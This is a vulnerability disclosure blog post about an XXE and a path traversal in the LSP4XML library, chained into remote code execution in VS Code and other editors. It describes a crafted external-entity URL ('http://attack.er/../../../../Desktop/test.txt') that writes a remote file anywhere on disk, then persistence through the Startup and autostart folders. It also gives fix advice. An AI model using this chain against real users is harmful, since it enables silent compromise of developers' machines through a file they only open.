LSP4XML, the library used to parse XML files in VSCode-XML, Eclipse’s wildwebdeveloper, theia-xml and more, was affected by an XXE (CVE-2019-18213) which lead to RCE (CVE-2019-18212) exploitable by just opening a malicious XML file.
2019 seems to be XXE’s year: during the latest Penetration Tests we successfully exploited a fair amount of XXEs, an example being https://www.shielder.com/blog/exploit-apache-solr-through-opencms/.

It all started during a web application penetration test, while I was trying to exploit a blind XXE with zi0black. We started with a standard XXE payload with an external DTD pointing to our listening web-server; we knew the target server couldn’t perform HTTP requests to the internet, so we were expecting only a DNS interaction, but then we received two different DNS interactions and one HTTP request… What the Phrack?!
While trying to find out the cause of the interactions we noticed that the HTTP request was coming from our own IP address, which was weird: did someone just own herself?!
In order to investigate such behavior we replayed all the steps using a fresh Burp Collaborator instance as callback server and WAT?! when we saved the new XML payload in Visual Studio Code the XXE was triggered.
At this point we were like “ok, we’re doing something wrong, it’s impossible that this is the default VS Code behavior and we never noticed previously ”.
We checked the VS Code configuration to understand why it was happening and we noticed that the XML Language Support extension by RedHat was installed, which is the one VS Code suggests you to install when opening an XML file for the first time.
Using a very naive approach we disabled the extension to verify it was the root-cause and replicated the steps, and yes that was the case!
The XML Language Support extension (a.k.a. VSCode-XML) allows you to open XML/DTD/XSTL/XSD files and parse them for syntax errors, but more importantly validates XML/XSTL files against DTD/XSD definitions.
By analysing the extension code it’s easy to understand that it is merely a dummy-client, all the juicy XML parsing is done by the LSP4XML Language Server.
It turned out that the XXE vulnerability lied in LSP4XML itself: when opening an XML file inside Visual Studio Code with VSCode-XML installed, every time the file is edited or saved, LSP4XML parses the file locally and reports any error(s) in the VS Code interface.
Ok nice, we have found an XXE that it’s triggered on file open, but can we weaponize this vulnerability?
We tried common OOB exfiltration tricks used in such situations, but everything failed due to the combination of a recent Java version (1.8+) and URI parsing.
The only things we could perform were:
While playing with the XXE we noticed a strange (and pretty boring) behavior: URLs are retrieved only once. It was obvious that some kind of caching system could have been in place, so probably our files, referenced as DTDs, are downloaded and stored somewhere… what could go wrong?
The caching procedure works in this way:
$HOME/.lsp4xml/cache/http/$host/$path_of_file$HOME/.lsp4xml/cache/http/$host/$path_of_fileWait a second. We can fully control the path of the file, what would happen if the external entity URL contained a ../ in the path?
You guessed it! The caching procedure is vulnerable to a Path Traversal while saving the cache file, which results in the ability to write an arbitrary remote file in an arbitrary local directory. 🤯
The procedure is also so kind to create the folder structure we need if it’s not already there.
The vulnerability is in the very last step of the caching procedure, where the $path_of_file is not sanitized, so if the URL of the external entity is http://attack.er/../../../../Desktop/test.txt the cache file will be written to $HOME/Desktop/test.txt, which is basically an arbitrary file write. The only limitations are that it’s impossible to overwrite any file due to point 3 of the parsing procedure and obviously everything is done with the current user privilege set (so if the current user is an administrator we can write anywhere, otherwise only in her home / world-writable directories).
Now we can easily achieve RCE by abusing the Startup/Autostart mechanism:
$HOME\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\ folder.$HOME/.config/autostart/ folder.Now we just need to wait for the victim to logout and login again on her machine to obtain code execution!
After finishing our exploit chain for LSP4XML, we checked who is using that library besides VSCode-XML and we found that also Eclipse’s wildwebdeveloper extension and theia-xml-extension are vulnerable – and probably many more!
Here are the steps to exploit the XXE and achieve RCE on both Windows and GNU/Linux systems:
python3 server.py | |
| |
whoami command is executed, on GNU/Linux a “Terminal” is opened and the id command is executed)
Finding and exploiting these vulnerabilities was really fun, not just because the first one was spotted only by chance ¯\_(ツ)_/¯, but also because pwning a library used in many big projects is always satisfying!
If you are using LSP4XML in one of your projects update it to version 0.9.1.
If you need to reference these vulnerabilities you can use the following CVEs:
Timeline:
We would like to thank Fred Bricon and Angelo Zerr from RedHat for triaging and patching the vulnerabilities in a fast and professional way.